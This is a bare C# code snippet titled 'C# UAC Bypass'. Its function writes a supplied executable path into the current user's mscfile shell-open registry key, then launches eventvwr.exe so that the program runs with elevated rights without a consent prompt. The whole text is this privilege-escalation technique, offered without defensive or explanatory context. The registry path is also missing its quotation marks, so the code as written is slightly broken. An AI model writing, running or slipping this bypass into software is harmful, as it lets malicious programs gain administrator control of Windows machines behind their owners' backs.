C# UAC Bypass
public static bool UAC(string executablePath)
{
try
{
Registry.CurrentUser.CreateSubKey(@SOFTWARE\Classes\mscfile\shell\open\command).SetValue("", executablePath);
Process.Start("eventvwr.exe");
Environment.Exit(1);
return true;
}
catch
{
return false;
}
}